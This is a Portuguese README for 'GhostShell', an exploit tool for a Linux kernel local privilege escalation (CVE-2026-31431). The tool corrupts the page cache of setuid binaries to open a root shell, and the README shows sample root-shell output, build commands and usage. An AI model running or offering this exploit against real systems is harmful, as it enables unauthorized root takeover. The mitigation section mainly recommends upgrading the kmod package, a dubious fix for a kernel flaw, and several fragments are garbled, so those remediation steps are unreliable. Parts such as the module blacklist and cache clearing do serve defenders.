
CVE-2026-31431 — Escalação de Privilégios Local via Corrupção do Page Cache do Kernel Linux
CVE-2026-31431 — Escalação de Privilégios Local via Corrupção do Page Cache do Kernel Linux
GhostShell é uma ferramenta de escalação de privilégios local que explora uma falha na implementação de criptografia AEAD authencesn do kernel Linux para obter um shell root a partir de uma conta de usuário sem privilégios. Ela corrompe o page cache em memória de um binário setuid-root (ex.: /usr/bin/su) inserindo shellcode no seu ponto de entrada e, em seguida, o executa — obtendo setuid(0) + setgid(0) e abrindo um /bin/sh privilegiado. Nenhum arquivo em disco é modificado; apenas o page cache em memória é afetado.
Em resumo: você o executa como um usuário normal, e ele o leva a um shell root.
Descoberto e divulgado por Theori / Xint. Artigo completo: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14 (agosto de 2017) até kernels corrigidos em abril de 2026.
kmodA correção recomendada para o CVE-2026-31431 é atualizar o pacote kmod (utilitários de módulos do kernel), que acompanha o módulo de cifra AEAD authencesn vulnerável. Pacotes atualizados que desabilitam ou corrigem o caminho de descriptografia in-place via splice() foram lançados pelos principais distribuidores.
# Verifique a versão atual do kmod
modprobe --version
# Atualize para a versão corrigida
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# Verifique a atualização
modprobe --version
# Atualize o kmod para a versão corrigida
sudo dnf update kmod
# Verifique
rpm -q kmod
sudo pacman -Syu kmod
Após atualizar o kmod, confirme que o módulo authencesn vulnerável não pode mais ser carregado ou foi atualizado:
# Tente carregar o módulo — em sistemas corrigidos, isso deve falhar ou relatar a versão corrigida
modinfo authencesn
# Alternativamente, verifique se o kernel em execução inclui o patch de abril de 2026
uname -r # deve ser >= a versão do kernel corrigida para sua distribuição
Se você não puder atualizar o kmod imediatamente, você pode bloquear o carregamento do módulo de cifra vulnerável:
# Coloque o módulo authencesn na lista negra
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# Também coloque o módulo genérico authenc na lista negra por precaução
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# Descarregue-o se estiver carregado (pode falhar se estiver em uso)
sudo modprobe -r authencesn 2>/dev/null
Reinicie após aplicar a correção ou a solução alternativa para garantir que quaisquer entradas de page cache corrompidas sejam limpas.
| SO | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ Este exploit foi somente testado no sistema acima. Os resultados podem variar em outras distribuições ou versões de kernel.
<linux/if_alg.h>) — geralmente incluídos com linux-libc-devInstale as dependências de build no Ubuntu/Debian:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
Nenhuma biblioteca externa é necessária.
Detecção automática de alvo (verifica binários setuid comuns como su, sudo, passwd):
./ghostshell
Especifique um alvo manualmente:
./ghostshell /usr/bin/sudo
Se o kernel for vulnerável, você será levado a um shell root (#).
_start.patch_chunk() (24 iterações), usando a falha de descriptografia in-place via splice() do AF_ALG.execl() no binário corrompido. O kernel o carrega do page cache e o shellcode é executado com privilégios setuid-root, abrindo um shell root.O exploit apenas corrompe o page cache em memória. Uma simples reinicialização o limpa completamente.
Para limpar os caches sem reiniciar:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Se páginas sujas foram gravadas de volta no disco (improvável, mas possível), reinstale o pacote afetado:
sudo apt-get install --reinstall util-linux # para /usr/bin/su
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita de teste é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.
Este projeto é licenciado sob a Licença MIT.
É concedida permissão, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrições, incluindo, sem limitação, os direitos de usar, copiar, modificar, mesclar, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software for fornecido o façam, sujeito às seguintes condições:
O aviso de direitos autorais acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.
O SOFTWARE É FORNECIDO "COMO ESTÁ", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIABILIDADE, ADEQUAÇÃO A UM FIM ESPECÍFICO E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU DETENTORES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.